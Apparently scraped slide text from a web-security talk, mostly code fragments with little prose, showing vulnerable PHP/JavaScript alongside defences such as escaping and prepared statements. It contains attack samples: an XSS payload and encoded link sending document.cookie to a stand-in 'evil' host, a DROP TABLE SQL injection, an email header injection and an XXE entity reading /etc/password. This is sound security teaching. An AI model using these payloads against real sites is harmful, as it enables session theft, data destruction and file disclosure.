ayesh karunaratne
play

Ayesh Karunaratne Freelance Software Developer Kandy, Sri Lanka - - PowerPoint PPT Presentation

Ayesh Karunaratne Freelance Software Developer Kandy, Sri Lanka - Everywhere https://ayesh.me Ayesh @Ayeshlive Ayesh <form> <input name="query" /> <input type="submit" /> </form> var query =


  1. Ayesh Karunaratne Freelance Software Developer Kandy, Sri Lanka - Everywhere https://ayesh.me Ayesh @Ayeshlive Ayesh

  2. <form> <input name="query" /> <input type="submit" /> </form> var query = req.params.query

  3. var query = req.params.query; document.write('Search results for "' + query + '"');

  4. var query = req.params.query; document.write('Search results for "' + query + '"');

  5. var query = req.params.query; document.write('Search results for "' + query + '"');

  6. var query = req.params.query; document.write('Search results for "' + query + '"');

  7. var query = req.params.query; document.write('Search results for "' + query + '"');

  8. var query = req.params.query; document.write('Search results for "' + query + '"');

  9. <script>document.cookie</script> var query = req.params.query; document.write('Search results for "' + query + '"');

  10. var query = req.params.query; document.write('Search results for "' + query + '"');

  11. this.src='http://evil/?c='+document.cookie var query = req.params.query; document.write('Search results for "' + query + '"');

  12. this.src='http://evil/?c='+document.cookie var query = req.params.query; document.write('Search results for "' + query + '"');

  13. this.src='http://evil/?c='+document.cookie var query = req.params.query; document.write('Search results for "' + query + '"'); https://site.noob/?query=Ayesh+%3Cimg+src%3Dx+onerror%3Dthis.src%3D%27http%3A%2F%2F evil%2F%3Fc%3D%27%2Bdocument.cookie%3E

  14. <form> <input name="query" /> <input type="submit" /> </form> $query = $_GET['query'];

  15. <?php query( " SELECT * FROM posts WHERE title = '$query' "); ?>

  16. <?php query( " SELECT * SELECT * FROM posts FROM posts WHERE WHERE title = '$query' title = ' ' "); ?>

  17. <?php query( " SELECT * SELECT * FROM posts FROM posts WHERE WHERE title = '$query' title = ' ' "); ?>

  18. <?php query( SELECT * " SELECT * FROM posts FROM posts WHERE WHERE title = 'Ayesh ' s talk is great title = '$query' "); ?>

  19. <?php query( SELECT * " SELECT * FROM posts FROM posts WHERE WHERE title = 'Ayesh' ; DROP TABLE posts title = '$query' "); ?>

  20. SELECT * FROM posts WHERE title = 'Ayesh' ; DROP TABLE posts

  21. <form> <input name="query" /> <input type="submit" /> </form> $query = $_GET['query'];

  22. $query = $_GET['query']; From: Site <tracking@site.noob> To: site-owner@aol.com Subject: Search alert for $query

  23. $query = $_GET['query']; From: Site <tracking@site.noob> From: Site tracking @ site . noob To: site-owner@aol.com To: site-owner@aol.com Subject: Search alert for $query Subject: Search alert for how did i accidentally build a shelf

  24. \r\n $query = $_GET['query']; From: Site <tracking@site.noob> From: Site tracking @ site . noob To: site-owner@aol.com To: site-owner@aol.com Subject: Search alert for $query Subject: Search alert for how did i accidentally build a shelf Reply-To: evil@evil.com

  25. • • • • • • • • • • •

  26. ( ノ ° Д ° )ノ ︵ ┻━┻

  27. example@example.com Example-example

  28. How to <script>alert(‘ xss ’);</script> How to How to <script>alert(‘ xss ’);</script> How to alert(‘ xss ’); my-awesome-song-*****.mp3 my-awesome-song- _____ .mp3 my-class>your-class my-class_your-class

  29. Ayesh’s talk is <script>alert(“Oops!”)</script> Ayesh’s talk is &lt;script&gt;alert (“Oops!”)& lt;/script&gt; Ayesh’s talk is < script > alert(“Oops!”) < /script>

  30. <?php query( " SELECT * FROM posts WHERE title = %title ", $query); ?>

  31. <?php query( SELECT * " SELECT * FROM posts FROM posts WHERE WHERE title = 'Ayesh\'; DROP TABLE posts ' title = %title ", $query); ?>

  32. filter_var('foo@bar.com', FILTER_VALIDATE_EMAIL); is_email('foo@bar.com'); var validator = require('validator ’ ); validator.isEmail('foo@bar.com'); valid_email_address('foo@bar.com'); <field name="email" type="text" validate="email" />

  33. filter_var(); var validator = require('validator ’ );

  34. filter_var( ‘###foo@bar.com' , FILTER_SANITIZE_EMAIL); sanitize_email( ‘ foo@bar.com ' );

  35. filter_var();

  36. filter_var('test <script>alert("xss");</script>', FILTER_SANITIZE_FULL_SPECIAL_CHARS); htmlspecialchars('test <script>alert("xss");</script>', ENT_QUOTES, 'UTF-8'); esc_html('test <script>alert("xss");</script >’ ); var validator = require('validator ’ ); validator.isEmail('foo@bar.com'); check_plain('test <script>alert("xss");</script>'); <field name="email" type="text" validate="email" />

  37. $stmt = $pdo->prepare("SELECT * FROM posts WHERE title = :title"); $stmt->execute(['title' => $query]); $post = $stmt->fetch(); $post = $wpdb->query( $wpdb->prepare( "SELECT * FROM posts WHERE title = '%s'",$query )); $query = $connection->query( “ SELECT * FROM posts WHERE title = :title", [':title' =>$query]);

  38. SELECT * FROM posts WHERE title = 'Ayesh' ; DROP TABLE posts

  39. <script>document.cookie</script> var query = req.params.query; document.write('Search results for "' + query + '"');

  40. • •

  41. https://site.noob/user/796148

  42. https://site.noob/user/796148/edit

  43. https://site.noob/user/23453

  44. https://site.noob/user/23453/edit

  45. • • • • •

  46. • • • • •

  47. { name: "Tobias", age: "26", } {name: "Tobias", age: 26} array ( 'name' => 'Tobias’ , 'age' => 26 );

  48. { name: “ Nadine", age: "26", } {name: “ Nadine", age: 26} array ( 'name' => ‘Nadine’ , 'age' => 26 );

  49. • • • •

  50. <? xml version="1.0" encoding="ISO-8859-1"?> <! DOCTYPE foo [ <! ELEMENT foo ANY > <! ENTITY xxe SYSTEM "file: // /etc/password" >]><foo>&xxe;</foo>

  51. • • • • • • •

  52. • • • • • • •

  53. • • • • • • •

  54. • • • • composer update

  55. • • • • composer update

  56. • • • • •

  57. • • • • •

  58. • • • • • • • • • •

Download Presentation
Download Policy: The content available on the website is offered to you 'AS IS' for your personal information and use only. It cannot be commercialized, licensed, or distributed on other websites without prior consent from the author. To download a presentation, simply click this link. If you encounter any difficulties during the download process, it's possible that the publisher has removed the file from their server.

Recommend


More recommend